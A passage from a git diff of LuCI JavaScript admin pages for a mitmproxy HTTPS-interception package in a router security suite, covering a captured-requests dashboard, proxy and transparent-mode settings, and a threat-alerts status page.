||||
this.pollActive = true;
|
||||
|
||||
poll.add(L.bind(function() {
|
||||
if (!this.pollActive) return Promise.resolve();
|
||||
|
||||
return api.getRequests(100).then(L.bind(function(data) {
|
||||
this.updateRequests({ requests: data });
|
||||
}, this));
|
||||
}, this), this.pollInterval);
|
||||
},
|
||||
|
||||
stopPolling: function() {
|
||||
this.pollActive = false;
|
||||
poll.stop();
|
||||
},
|
||||
|
||||
render: function(data) {
|
||||
var self = this;
|
||||
var status = data.status || {};
|
||||
var requests = (data.requests || {}).requests || [];
|
||||
|
||||
var view = E('div', { 'class': 'mitmproxy-dashboard' }, [
|
||||
E('link', { 'rel': 'stylesheet', 'href': L.resource('mitmproxy/dashboard.css') }),
|
||||
E('style', {}, [
|
||||
'.mp-request-item { display: flex; align-items: center; gap: 12px; padding: 12px 16px; background: rgba(255,255,255,0.02); border-radius: 8px; margin-bottom: 8px; transition: background 0.2s; }',
|
||||
'.mp-request-item:hover { background: rgba(255,255,255,0.05); }',
|
||||
'.mp-request-method { min-width: 60px; padding: 4px 8px; border-radius: 4px; color: white; font-size: 11px; font-weight: 600; text-align: center; }',
|
||||
'.mp-request-info { flex: 1; min-width: 0; }',
|
||||
'.mp-request-url { display: flex; gap: 4px; font-size: 14px; }',
|
||||
'.mp-request-host { font-weight: 500; color: #fff; }',
|
||||
'.mp-request-path { color: var(--mp-text-muted); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }',
|
||||
'.mp-request-meta { display: flex; gap: 16px; font-size: 12px; color: var(--mp-text-muted); margin-top: 4px; }',
|
||||
'.mp-request-status { font-weight: 500; }',
|
||||
'.mp-request-actions { display: flex; gap: 8px; }',
|
||||
'.mp-btn-icon { background: rgba(255,255,255,0.1); border: none; border-radius: 6px; width: 32px; height: 32px; cursor: pointer; font-size: 14px; transition: background 0.2s; }',
|
||||
'.mp-btn-icon:hover { background: rgba(255,255,255,0.2); }',
|
||||
'.mp-request-details pre { background: #0d0d12; padding: 16px; border-radius: 8px; font-size: 12px; overflow-x: auto; white-space: pre-wrap; word-break: break-all; }',
|
||||
'.mp-request-details h3 { margin: 16px 0 8px; font-size: 14px; color: var(--mp-primary); }'
|
||||
].join('')),
|
||||
|
||||
// Header
|
||||
E('div', { 'class': 'mp-header' }, [
|
||||
E('div', { 'class': 'mp-logo' }, [
|
||||
E('div', { 'class': 'mp-logo-icon' }, '🔍'),
|
||||
E('div', { 'class': 'mp-logo-text' }, 'Requests')
|
||||
]),
|
||||
E('div', {}, [
|
||||
E('div', {
|
||||
'class': 'mp-status-badge ' + (status.running ? 'running' : 'stopped')
|
||||
}, [
|
||||
E('span', { 'class': 'mp-status-dot' }),
|
||||
status.running ? 'Capturing' : 'Stopped'
|
||||
])
|
||||
])
|
||||
]),
|
||||
|
||||
// Controls
|
||||
E('div', { 'class': 'mp-controls' }, [
|
||||
E('span', {}, _('Showing last 50 requests')),
|
||||
E('div', { 'style': 'flex: 1' }),
|
||||
E('button', {
|
||||
'class': 'mp-btn',
|
||||
'id': 'mp-poll-toggle',
|
||||
'click': L.bind(function(ev) {
|
||||
var btn = ev.target;
|
||||
if (this.pollActive) {
|
||||
this.stopPolling();
|
||||
btn.textContent = '▶ Resume';
|
||||
} else {
|
||||
this.startPolling();
|
||||
btn.textContent = '⏸ Pause';
|
||||
}
|
||||
}, this)
|
||||
}, '⏸ Pause'),
|
||||
E('button', {
|
||||
'class': 'mp-btn',
|
||||
'click': function() { location.reload(); }
|
||||
}, '🔄 Refresh')
|
||||
]),
|
||||
|
||||
// Requests list
|
||||
E('div', { 'class': 'mp-card' }, [
|
||||
E('div', { 'class': 'mp-card-header' }, [
|
||||
E('div', { 'class': 'mp-card-title' }, [
|
||||
E('span', { 'class': 'mp-card-title-icon' }, '📋'),
|
||||
'Captured Requests'
|
||||
]),
|
||||
E('div', { 'class': 'mp-card-badge' }, requests.length + ' requests')
|
||||
]),
|
||||
E('div', { 'class': 'mp-card-body mp-requests-list' },
|
||||
requests.length > 0 ?
|
||||
requests.slice(-50).reverse().map(function(req) {
|
||||
var request = req.request || req;
|
||||
var response = req.response || {};
|
||||
var method = request.method || 'GET';
|
||||
var host = request.host || (request.headers && request.headers.host) || 'unknown';
|
||||
var path = request.path || '/';
|
||||
var status_code = response.status_code || response.status || 0;
|
||||
var contentType = response.headers && (response.headers['content-type'] || response.headers['Content-Type']) || '';
|
||||
|
||||
return E('div', { 'class': 'mp-request-item' }, [
|
||||
E('div', { 'class': 'mp-request-method', 'style': 'background:' + self.getMethodColor(method) }, method),
|
||||
E('div', { 'class': 'mp-request-info' }, [
|
||||
E('div', { 'class': 'mp-request-url' }, [
|
||||
E('span', { 'class': 'mp-request-host' }, host),
|
||||
E('span', { 'class': 'mp-request-path' }, path)
|
||||
]),
|
||||
E('div', { 'class': 'mp-request-meta' }, [
|
||||
status_code ? E('span', { 'class': 'mp-request-status', 'style': 'color:' + self.getStatusColor(status_code) }, String(status_code)) : null,
|
||||
contentType ? E('span', {}, contentType.split(';')[0]) : null
|
||||
].filter(Boolean))
|
||||
]),
|
||||
E('div', { 'class': 'mp-request-actions' }, [
|
||||
E('button', {
|
||||
'class': 'mp-btn-icon',
|
||||
'title': 'View details',
|
||||
'click': function() { self.showRequestDetails(req); }
|
||||
}, '👁')
|
||||
])
|
||||
]);
|
||||
}) :
|
||||
E('div', { 'class': 'mp-empty' }, [
|
||||
E('div', { 'class': 'mp-empty-icon' }, '🔍'),
|
||||
E('div', { 'class': 'mp-empty-text' }, 'No requests captured'),
|
||||
E('p', {}, 'Start the proxy and generate HTTP traffic')
|
||||
])
|
||||
)
|
||||
])
|
||||
]);
|
||||
|
||||
// Start polling
|
||||
this.startPolling();
|
||||
|
||||
var wrapper = E('div', { 'class': 'secubox-page-wrapper' });
|
||||
wrapper.appendChild(SbHeader.render());
|
||||
wrapper.appendChild(renderMitmproxyNav('requests'));
|
||||
wrapper.appendChild(view);
|
||||
return wrapper;
|
||||
},
|
||||
|
||||
handleSaveApply: null,
|
||||
handleSave: null,
|
||||
handleReset: null
|
||||
});
|
||||
@ -2,42 +2,8 @@
|
||||
'require view';
|
||||
'require form';
|
||||
'require uci';
|
||||
'require mitmproxy/api as api';
|
||||
'require secubox-theme/theme as Theme';
|
||||
'require secubox-portal/header as SbHeader';
|
||||
|
||||
var lang = (typeof L !== 'undefined' && L.env && L.env.lang) ||
|
||||
(document.documentElement && document.documentElement.getAttribute('lang')) ||
|
||||
(navigator.language ? navigator.language.split('-')[0] : 'en');
|
||||
Theme.init({ language: lang });
|
||||
|
||||
var MITMPROXY_NAV = [
|
||||
{ id: 'dashboard', icon: '📊', label: 'Dashboard' },
|
||||
{ id: 'webui', icon: '🖥️', label: 'Web UI' },
|
||||
{ id: 'requests', icon: '🔍', label: 'Requests' },
|
||||
{ id: 'settings', icon: '⚙️', label: 'Settings' }
|
||||
];
|
||||
|
||||
function renderMitmproxyNav(activeId) {
|
||||
return E('div', {
|
||||
'class': 'mp-app-nav',
|
||||
'style': 'display:flex;gap:8px;margin-bottom:20px;padding:12px 16px;background:#141419;border:1px solid rgba(255,255,255,0.08);border-radius:12px;'
|
||||
}, MITMPROXY_NAV.map(function(item) {
|
||||
var isActive = activeId === item.id;
|
||||
return E('a', {
|
||||
'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id),
|
||||
'style': 'display:flex;align-items:center;gap:8px;padding:10px 16px;border-radius:8px;text-decoration:none;font-size:14px;font-weight:500;transition:all 0.2s;' +
|
||||
(isActive ? 'background:linear-gradient(135deg,#e74c3c,#c0392b);color:white;' : 'color:#a0a0b0;background:transparent;')
|
||||
}, [
|
||||
E('span', {}, item.icon),
|
||||
E('span', {}, _(item.label))
|
||||
]);
|
||||
}));
|
||||
}
|
||||
|
||||
return view.extend({
|
||||
title: _('mitmproxy Settings'),
|
||||
|
||||
load: function() {
|
||||
return uci.load('mitmproxy');
|
||||
},
|
||||
@ -46,217 +12,69 @@ return view.extend({
|
||||
var m, s, o;
|
||||
|
||||
m = new form.Map('mitmproxy', _('mitmproxy Settings'),
|
||||
_('Configure the mitmproxy HTTPS interception proxy with transparent mode and filtering options.'));
|
||||
_('Configure the HTTPS intercepting proxy.'));
|
||||
|
||||
// =====================================================================
|
||||
// Main Proxy Configuration
|
||||
// =====================================================================
|
||||
s = m.section(form.TypedSection, 'mitmproxy', _('Proxy Configuration'));
|
||||
// Main Settings
|
||||
s = m.section(form.TypedSection, 'mitmproxy', _('General'));
|
||||
s.anonymous = true;
|
||||
s.addremove = false;
|
||||
|
||||
o = s.option(form.Flag, 'enabled', _('Enable'),
|
||||
_('Enable mitmproxy at startup'));
|
||||
o.default = '0';
|
||||
o = s.option(form.Flag, 'enabled', _('Enable'));
|
||||
o.rmempty = false;
|
||||
|
||||
o = s.option(form.ListValue, 'mode', _('Proxy Mode'),
|
||||
_('How clients connect to the proxy'));
|
||||
o.value('regular', _('Regular - Clients must configure proxy settings'));
|
||||
o.value('transparent', _('Transparent - Intercept traffic automatically via nftables'));
|
||||
o.value('upstream', _('Upstream - Forward to another proxy'));
|
||||
o.value('reverse', _('Reverse - Reverse proxy mode'));
|
||||
o.default = 'regular';
|
||||
o = s.option(form.ListValue, 'mode', _('Mode'));
|
||||
o.value('regular', _('Regular Proxy'));
|
||||
o.value('transparent', _('Transparent Proxy'));
|
||||
o.value('upstream', _('Upstream Proxy'));
|
||||
o.value('reverse', _('Reverse Proxy'));
|
||||
o.default = 'transparent';
|
||||
|
||||
o = s.option(form.Value, 'proxy_port', _('Proxy Port'),
|
||||
_('Port for HTTP/HTTPS interception'));
|
||||
o.default = '8080';
|
||||
o.placeholder = '8080';
|
||||
o = s.option(form.Value, 'proxy_port', _('Proxy Port'));
|
||||
o.datatype = 'port';
|
||||
o.default = '8888';
|
||||
|
||||
o = s.option(form.Value, 'web_host', _('Web UI Address'),
|
||||
_('IP address for mitmweb interface'));
|
||||
o = s.option(form.Value, 'web_port', _('Web UI Port'));
|
||||
o.datatype = 'port';
|
||||
o.default = '8082';
|
||||
|
||||
o = s.option(form.Value, 'web_host', _('Web UI Host'));
|
||||
o.default = '0.0.0.0';
|
||||
o.placeholder = '0.0.0.0';
|
||||
o.datatype = 'ipaddr';
|
||||
|
||||
o = s.option(form.Value, 'web_port', _('Web UI Port'),
|
||||
_('Port for mitmweb interface'));
|
||||
o.default = '8081';
|
||||
o.placeholder = '8081';
|
||||
o.datatype = 'port';
|
||||
|
||||
o = s.option(form.Value, 'data_path', _('Data Path'),
|
||||
_('Directory for storing certificates and data'));
|
||||
o = s.option(form.Value, 'data_path', _('Data Path'));
|
||||
o.default = '/srv/mitmproxy';
|
||||
|
||||
o = s.option(form.Value, 'memory_limit', _('Memory Limit'),
|
||||
_('Maximum memory for the LXC container'));
|
||||
o = s.option(form.Value, 'memory_limit', _('Memory Limit'));
|
||||
o.default = '256M';
|
||||
o.placeholder = '256M';
|
||||
|
||||
o = s.option(form.Flag, 'ssl_insecure', _('Allow Insecure SSL'),
|
||||
_('Accept invalid/self-signed SSL certificates from upstream servers'));
|
||||
o.default = '0';
|
||||
o = s.option(form.Flag, 'ssl_insecure', _('Allow Insecure SSL'));
|
||||
|
||||
o = s.option(form.Flag, 'anticache', _('Anti-Cache'),
|
||||
_('Strip cache headers to force fresh responses'));
|
||||
o.default = '0';
|
||||
o = s.option(form.Flag, 'anticache', _('Disable Caching'));
|
||||
|
||||
o = s.option(form.Flag, 'anticomp', _('Anti-Compression'),
|
||||
_('Disable compression to allow content inspection'));
|
||||
o.default = '0';
|
||||
o = s.option(form.Flag, 'anticomp', _('Disable Compression'));
|
||||
|
||||
o = s.option(form.ListValue, 'flow_detail', _('Log Detail Level'),
|
||||
_('Amount of detail in flow logs'));
|
||||
o.value('0', _('Minimal'));
|
||||
o.value('1', _('Summary'));
|
||||
o.value('2', _('Full headers'));
|
||||
o.value('3', _('Full headers + body preview'));
|
||||
o.value('4', _('Full headers + full body'));
|
||||
o.default = '1';
|
||||
|
||||
o = s.option(form.Value, 'upstream_proxy', _('Upstream Proxy'),
|
||||
_('Forward traffic to this upstream proxy (e.g., http://proxy:8080)'));
|
||||
o.depends('mode', 'upstream');
|
||||
o.placeholder = 'http://proxy:8080';
|
||||
|
||||
o = s.option(form.Value, 'reverse_target', _('Reverse Target'),
|
||||
_('Target server for reverse proxy mode (e.g., http://localhost:80)'));
|
||||
o.depends('mode', 'reverse');
|
||||
o.placeholder = 'http://localhost:80';
|
||||
|
||||
// =====================================================================
|
||||
// Transparent Mode Settings
|
||||
// =====================================================================
|
||||
// Transparent Mode
|
||||
s = m.section(form.TypedSection, 'transparent', _('Transparent Mode'));
|
||||
s.anonymous = true;
|
||||
s.addremove = false;
|
||||
s.tab('transparent', _('Firewall Settings'));
|
||||
|
||||
o = s.taboption('transparent', form.Flag, 'enabled', _('Enable Transparent Firewall'),
|
||||
_('Automatically setup nftables rules to redirect traffic'));
|
||||
o.default = '0';
|
||||
o = s.option(form.Flag, 'enabled', _('Enable Transparent Redirect'));
|
||||
|
||||
o = s.taboption('transparent', form.Value, 'interface', _('Intercept Interface'),
|
||||
_('Network interface to intercept traffic from'));
|
||||
o = s.option(form.Value, 'interface', _('Interface'));
|
||||
o.default = 'br-lan';
|
||||
o.placeholder = 'br-lan';
|
||||
o.depends('enabled', '1');
|
||||
|
||||
o = s.taboption('transparent', form.Flag, 'redirect_http', _('Redirect HTTP'),
|
||||
_('Intercept plain HTTP traffic'));
|
||||
o.default = '1';
|
||||
o.depends('enabled', '1');
|
||||
|
||||
o = s.taboption('transparent', form.Flag, 'redirect_https', _('Redirect HTTPS'),
|
||||
_('Intercept HTTPS traffic (requires CA certificate on clients)'));
|
||||
o.default = '1';
|
||||
o.depends('enabled', '1');
|
||||
|
||||
o = s.taboption('transparent', form.Value, 'http_port', _('HTTP Port'),
|
||||
_('Source port to intercept for HTTP'));
|
||||
o.default = '80';
|
||||
o.datatype = 'port';
|
||||
o.depends('redirect_http', '1');
|
||||
|
||||
o = s.taboption('transparent', form.Value, 'https_port', _('HTTPS Port'),
|
||||
_('Source port to intercept for HTTPS'));
|
||||
o.default = '443';
|
||||
o.datatype = 'port';
|
||||
o.depends('redirect_https', '1');
|
||||
|
||||
// =====================================================================
|
||||
// Whitelist/Bypass Settings
|
||||
// =====================================================================
|
||||
s = m.section(form.TypedSection, 'whitelist', _('Whitelist / Bypass'));
|
||||
// Filtering
|
||||
s = m.section(form.TypedSection, 'filtering', _('Analytics'));
|
||||
s.anonymous = true;
|
||||
s.addremove = false;
|
||||
|
||||
o = s.option(form.Flag, 'enabled', _('Enable Whitelist'),
|
||||
_('Skip interception for whitelisted IPs and domains'));
|
||||
o.default = '1';
|
||||
o = s.option(form.Flag, 'enabled', _('Enable Analytics'));
|
||||
o.description = _('Enable threat detection addon');
|
||||
|
||||
o = s.option(form.DynamicList, 'bypass_ip', _('Bypass IP Addresses'),
|
||||
_('IP addresses or CIDR ranges that bypass the proxy'));
|
||||
o.placeholder = '192.168.1.0/24';
|
||||
o = s.option(form.Value, 'addon_script', _('Addon Script'));
|
||||
o.default = '/data/addons/secubox_analytics.py';
|
||||
o.depends('enabled', '1');
|
||||
|
||||
o = s.option(form.DynamicList, 'bypass_domain', _('Bypass Domains'),
|
||||
_('Domain patterns that bypass the proxy (for domain-based bypass, requires additional configuration)'));
|
||||
o.placeholder = 'banking.com';
|
||||
o = s.option(form.Flag, 'log_requests', _('Log Requests'));
|
||||
o.depends('enabled', '1');
|
||||
|
||||
// =====================================================================
|
||||
// Filtering / CDN Tracking
|
||||
// =====================================================================
|
||||
s = m.section(form.TypedSection, 'filtering', _('Filtering & Analytics'));
|
||||
s.anonymous = true;
|
||||
s.addremove = false;
|
||||
|
||||
o = s.option(form.Flag, 'enabled', _('Enable Filtering Addon'),
|
||||
_('Load the SecuBox filtering addon for CDN/Media tracking and ad blocking'));
|
||||
o.default = '0';
|
||||
|
||||
o = s.option(form.Flag, 'log_requests', _('Log All Requests'),
|
||||
_('Log request details to JSON file for analysis'));
|
||||
o.default = '1';
|
||||
o.depends('enabled', '1');
|
||||
|
||||
o = s.option(form.Flag, 'filter_cdn', _('Track CDN Traffic'),
|
||||
_('Log and categorize CDN requests (Cloudflare, Akamai, Fastly, etc.)'));
|
||||
o.default = '0';
|
||||
o.depends('enabled', '1');
|
||||
|
||||
o = s.option(form.Flag, 'filter_media', _('Track Media Streaming'),
|
||||
_('Log and categorize streaming media requests (YouTube, Netflix, Spotify, etc.)'));
|
||||
o.default = '0';
|
||||
o.depends('enabled', '1');
|
||||
|
||||
o = s.option(form.Flag, 'block_ads', _('Block Ads & Trackers'),
|
||||
_('Block known advertising and tracking domains'));
|
||||
o.default = '0';
|
||||
o.depends('enabled', '1');
|
||||
|
||||
o = s.option(form.Value, 'addon_script', _('Addon Script Path'),
|
||||
_('Path to the Python filtering addon'));
|
||||
o.default = '/etc/mitmproxy/addons/secubox_filter.py';
|
||||
o.depends('enabled', '1');
|
||||
|
||||
// =====================================================================
|
||||
// Capture Settings
|
||||
// =====================================================================
|
||||
s = m.section(form.TypedSection, 'capture', _('Capture Settings'));
|
||||
s.anonymous = true;
|
||||
s.addremove = false;
|
||||
|
||||
o = s.option(form.Flag, 'save_flows', _('Save Flows'),
|
||||
_('Save captured flows to disk for later replay'));
|
||||
o.default = '0';
|
||||
|
||||
o = s.option(form.Flag, 'capture_request_headers', _('Capture Request Headers'),
|
||||
_('Include request headers in logs'));
|
||||
o.default = '1';
|
||||
|
||||
o = s.option(form.Flag, 'capture_response_headers', _('Capture Response Headers'),
|
||||
_('Include response headers in logs'));
|
||||
o.default = '1';
|
||||
|
||||
o = s.option(form.Flag, 'capture_request_body', _('Capture Request Body'),
|
||||
_('Include request body in logs (increases storage usage)'));
|
||||
o.default = '0';
|
||||
|
||||
o = s.option(form.Flag, 'capture_response_body', _('Capture Response Body'),
|
||||
_('Include response body in logs (increases storage usage)'));
|
||||
o.default = '0';
|
||||
|
||||
var wrapper = E('div', { 'class': 'secubox-page-wrapper' });
|
||||
wrapper.appendChild(SbHeader.render());
|
||||
wrapper.appendChild(renderMitmproxyNav('settings'));
|
||||
|
||||
return m.render().then(function(mapEl) {
|
||||
wrapper.appendChild(mapEl);
|
||||
return wrapper;
|
||||
});
|
||||
return m.render();
|
||||
}
|
||||
});
|
||||
|
||||
@ -0,0 +1,203 @@
|
||||
'use strict';
|
||||
'require view';
|
||||
'require poll';
|
||||
'require rpc';
|
||||
'require ui';
|
||||
|
||||
var callStatus = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'status'
|
||||
});
|
||||
|
||||
var callAlerts = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'alerts'
|
||||
});
|
||||
|
||||
var callStart = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'start'
|
||||
});
|
||||
|
||||
var callStop = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'stop'
|
||||
});
|
||||
|
||||
var callRestart = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'restart'
|
||||
});
|
||||
|
||||
var callClearAlerts = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'clear_alerts'
|
||||
});
|
||||
|
||||
function severityColor(sev) {
|
||||
return { critical: '#e74c3c', high: '#e67e22', medium: '#f39c12', low: '#3498db' }[sev] || '#666';
|
||||
}
|
||||
|
||||
function severityIcon(sev) {
|
||||
return { critical: '🔴', high: '🟠', medium: '🟡', low: '🔵' }[sev] || '⚪';
|
||||
}
|
||||
|
||||
return view.extend({
|
||||
load: function() {
|
||||
return Promise.all([
|
||||
callStatus().catch(function() { return {}; }),
|
||||
callAlerts().catch(function() { return { alerts: [] }; })
|
||||
]);
|
||||
},
|
||||
|
||||
render: function(data) {
|
||||
var status = data[0] || {};
|
||||
var alertsData = data[1] || {};
|
||||
var alerts = alertsData.alerts || [];
|
||||
var self = this;
|
||||
|
||||
var view = E('div', { 'class': 'cbi-map' }, [
|
||||
E('h2', {}, _('mitmproxy - HTTPS Intercepting Proxy')),
|
||||
|
||||
// Service Status Card
|
||||
E('div', { 'class': 'cbi-section' }, [
|
||||
E('h3', {}, _('Service Status')),
|
||||
E('div', { 'class': 'cbi-section-node' }, [
|
||||
E('table', { 'class': 'table' }, [
|
||||
E('tr', { 'class': 'tr' }, [
|
||||
E('td', { 'class': 'td', 'width': '33%' }, E('strong', {}, _('Status'))),
|
||||
E('td', { 'class': 'td' }, [
|
||||
E('span', {
|
||||
'style': 'display: inline-block; width: 12px; height: 12px; border-radius: 50%; margin-right: 8px; background: ' + (status.running ? '#27ae60' : '#e74c3c')
|
||||
}),
|
||||
status.running ? _('Running') : _('Stopped')
|
||||
])
|
||||
]),
|
||||
E('tr', { 'class': 'tr' }, [
|
||||
E('td', { 'class': 'td' }, E('strong', {}, _('Mode'))),
|
||||
E('td', { 'class': 'td' }, status.mode || 'regular')
|
||||
]),
|
||||
E('tr', { 'class': 'tr' }, [
|
||||
E('td', { 'class': 'td' }, E('strong', {}, _('Proxy Port'))),
|
||||
E('td', { 'class': 'td' }, status.proxy_port || 8888)
|
||||
]),
|
||||
E('tr', { 'class': 'tr' }, [
|
||||
E('td', { 'class': 'td' }, E('strong', {}, _('Web UI'))),
|
||||
E('td', { 'class': 'td' }, status.running ?
|
||||
E('a', { 'href': 'http://' + window.location.hostname + ':' + (status.web_port || 8082), 'target': '_blank' },
|
||||
'http://' + window.location.hostname + ':' + (status.web_port || 8082)) :
|
||||
_('Not available'))
|
||||
])
|
||||
])
|
||||
]),
|
||||
E('div', { 'style': 'margin-top: 16px;' }, [
|
||||
E('button', {
|
||||
'class': 'btn cbi-button cbi-button-apply',
|
||||
'click': function() {
|
||||
ui.showModal(_('Starting...'), [E('p', { 'class': 'spinning' }, _('Please wait...'))]);
|
||||
callStart().then(function() { ui.hideModal(); location.reload(); });
|
||||
},
|
||||
'disabled': status.running
|
||||
}, _('Start')),
|
||||
' ',
|
||||
E('button', {
|
||||
'class': 'btn cbi-button cbi-button-reset',
|
||||
'click': function() {
|
||||
ui.showModal(_('Stopping...'), [E('p', { 'class': 'spinning' }, _('Please wait...'))]);
|
||||
callStop().then(function() { ui.hideModal(); location.reload(); });
|
||||
},
|
||||
'disabled': !status.running
|
||||
}, _('Stop')),
|
||||
' ',
|
||||
E('button', {
|
||||
'class': 'btn cbi-button cbi-button-action',
|
||||
'click': function() {
|
||||
ui.showModal(_('Restarting...'), [E('p', { 'class': 'spinning' }, _('Please wait...'))]);
|
||||
callRestart().then(function() { ui.hideModal(); location.reload(); });
|
||||
}
|
||||
}, _('Restart'))
|
||||
])
|
||||
]),
|
||||
|
||||
// Security Threats Card
|
||||
E('div', { 'class': 'cbi-section' }, [
|
||||
E('h3', {}, [
|
||||
_('Security Threats'),
|
||||
' ',
|
||||
E('span', { 'style': 'font-size: 14px; font-weight: normal; color: #666;' },
|
||||
'(' + alerts.length + ' detected)')
|
||||
]),
|
||||
alerts.length > 0 ?
|
||||
E('div', {}, [
|
||||
E('div', { 'style': 'margin-bottom: 12px;' }, [
|
||||
E('button', {
|
||||
'class': 'btn cbi-button',
|
||||
'click': function() {
|
||||
if (confirm(_('Clear all alerts?'))) {
|
||||
callClearAlerts().then(function() { location.reload(); });
|
||||
}
|
||||
}
|
||||
}, _('Clear Alerts'))
|
||||
]),
|
||||
E('table', { 'class': 'table', 'style': 'font-size: 13px;' }, [
|
||||
E('tr', { 'class': 'tr cbi-section-table-titles' }, [
|
||||
E('th', { 'class': 'th' }, _('Severity')),
|
||||
E('th', { 'class': 'th' }, _('Type')),
|
||||
E('th', { 'class': 'th' }, _('Path')),
|
||||
E('th', { 'class': 'th' }, _('Source')),
|
||||
E('th', { 'class': 'th' }, _('Time'))
|
||||
])
|
||||
].concat(alerts.slice(-20).reverse().map(function(alert) {
|
||||
return E('tr', { 'class': 'tr' }, [
|
||||
E('td', { 'class': 'td' }, [
|
||||
E('span', {
|
||||
'style': 'background: ' + severityColor(alert.severity) + '; color: white; padding: 2px 8px; border-radius: 4px; font-size: 11px; text-transform: uppercase;'
|
||||
}, severityIcon(alert.severity) + ' ' + (alert.severity || 'unknown'))
|
||||
]),
|
||||
E('td', { 'class': 'td' }, (alert.pattern || alert.type || '-').replace(/_/g, ' ')),
|
||||
E('td', { 'class': 'td', 'style': 'max-width: 300px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;' },
|
||||
(alert.method || 'GET') + ' ' + (alert.path || '-')),
|
||||
E('td', { 'class': 'td' }, [
|
||||
alert.ip || '-',
|
||||
alert.country ? E('span', { 'style': 'margin-left: 4px; color: #666;' }, '(' + alert.country + ')') : null
|
||||
]),
|
||||
E('td', { 'class': 'td', 'style': 'white-space: nowrap; color: #666;' },
|
||||
alert.time ? alert.time.split('T')[1].split('.')[0] : '-')
|
||||
]);
|
||||
})))
|
||||
]) :
|
||||
E('div', { 'class': 'cbi-section-node', 'style': 'text-align: center; padding: 40px; color: #666;' }, [
|
||||
E('div', { 'style': 'font-size: 48px; margin-bottom: 16px;' }, '✅'),
|
||||
E('p', {}, _('No threats detected')),
|
||||
E('p', { 'style': 'font-size: 12px;' }, _('The analytics addon monitors for SQL injection, XSS, command injection, and other attacks.'))
|
||||
])
|
||||
]),
|
||||
|
||||
// Info Card
|
||||
E('div', { 'class': 'cbi-section' }, [
|
||||
E('h3', {}, _('Information')),
|
||||
E('div', { 'class': 'cbi-section-node' }, [
|
||||
E('p', {}, _('mitmproxy is an interactive HTTPS proxy for traffic inspection and modification.')),
|
||||
E('ul', {}, [
|
||||
E('li', {}, _('Intercept and inspect HTTP/HTTPS traffic')),
|
||||
E('li', {}, _('Detect SQL injection, XSS, and other attacks')),
|
||||
E('li', {}, _('Log threats to CrowdSec for automatic blocking')),
|
||||
E('li', {}, _('Access the Web UI for detailed traffic analysis'))
|
||||
]),
|
||||
E('p', { 'style': 'margin-top: 12px;' }, [
|
||||
E('strong', {}, _('CA Certificate: ')),
|
||||
_('To inspect HTTPS traffic, install the CA certificate from '),
|
||||
E('a', { 'href': 'http://mitm.it', 'target': '_blank' }, 'http://mitm.it'),
|
||||
_(' on client devices.')
|
||||
])
|
||||
])
|
||||
])
|
||||
]);
|
||||
|
||||
return view;
|
||||
},
|
||||
|
||||
handleSaveApply: null,
|
||||
handleSave: null,
|
||||
handleReset: null
|
||||
});
|
||||
@ -1,130 +0,0 @@
|
||||
'use strict';
|
||||
'require view';
|
||||
'require dom';
|
||||
'require ui';
|
||||
'require mitmproxy/api as api';
|
||||
'require secubox-theme/theme as Theme';
|
||||
'require secubox-portal/header as SbHeader';
|
||||
|
||||
var lang = (typeof L !== 'undefined' && L.env && L.env.lang) ||
|
||||
(document.documentElement && document.documentElement.getAttribute('lang')) ||
|
||||
(navigator.language ? navigator.language.split('-')[0] : 'en');
|
||||
Theme.init({ language: lang });
|
||||
|
||||
var MITMPROXY_NAV = [
|
||||
{ id: 'dashboard', icon: '📊', label: 'Dashboard' },
|
||||
{ id: 'webui', icon: '🖥️', label: 'Web UI' },
|
||||
{ id: 'requests', icon: '🔍', label: 'Requests' },
|
||||
{ id: 'settings', icon: '⚙️', label: 'Settings' }
|
||||
];
|
||||
|
||||
function renderMitmproxyNav(activeId) {
|
||||
return E('div', {
|
||||
'class': 'mp-app-nav',
|
||||
'style': 'display:flex;gap:8px;margin-bottom:20px;padding:12px 16px;background:#141419;border:1px solid rgba(255,255,255,0.08);border-radius:12px;'
|
||||
}, MITMPROXY_NAV.map(function(item) {
|
||||
var isActive = activeId === item.id;
|
||||
return E('a', {
|
||||
'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id),
|
||||
'style': 'display:flex;align-items:center;gap:8px;padding:10px 16px;border-radius:8px;text-decoration:none;font-size:14px;font-weight:500;transition:all 0.2s;' +
|
||||
(isActive ? 'background:linear-gradient(135deg,#e74c3c,#c0392b);color:white;' : 'color:#a0a0b0;background:transparent;')
|
||||
}, [
|
||||
E('span', {}, item.icon),
|
||||
E('span', {}, _(item.label))
|
||||
]);
|
||||
}));
|
||||
}
|
||||
|
||||
return view.extend({
|
||||
title: _('mitmproxy Web UI'),
|
||||
|
||||
load: function() {
|
||||
return Promise.all([
|
||||
api.getStatus(),
|
||||
api.getWebToken()
|
||||
]);
|
||||
},
|
||||
|
||||
render: function(data) {
|
||||
var status = data[0] || {};
|
||||
var tokenData = data[1] || {};
|
||||
|
||||
var content;
|
||||
|
||||
if (!status.running) {
|
||||
content = E('div', { 'class': 'mp-card', 'style': 'text-align: center; padding: 60px 20px;' }, [
|
||||
E('div', { 'style': 'font-size: 64px; margin-bottom: 20px;' }, '⚠️'),
|
||||
E('h2', { 'style': 'margin: 0 0 10px 0; color: #f39c12;' }, _('mitmproxy is not running')),
|
||||
E('p', { 'style': 'color: #a0a0b0; margin: 0 0 20px 0;' }, _('Start the service to access the Web UI')),
|
||||
E('button', {
|
||||
'class': 'mp-btn mp-btn-success',
|
||||
'click': function() {
|
||||
ui.showModal(_('Starting...'), [
|
||||
E('p', { 'class': 'spinning' }, _('Starting mitmproxy...'))
|
||||
]);
|
||||
api.serviceStart().then(function() {
|
||||
ui.hideModal();
|
||||
setTimeout(function() { location.reload(); }, 2000);
|
||||
});
|
||||
}
|
||||
}, '▶ Start mitmproxy')
|
||||
]);
|
||||
} else if (!tokenData.token) {
|
||||
content = E('div', { 'class': 'mp-card', 'style': 'text-align: center; padding: 60px 20px;' }, [
|
||||
E('div', { 'style': 'font-size: 64px; margin-bottom: 20px;' }, '🔄'),
|
||||
E('h2', { 'style': 'margin: 0 0 10px 0; color: #3498db;' }, _('Waiting for authentication token')),
|
||||
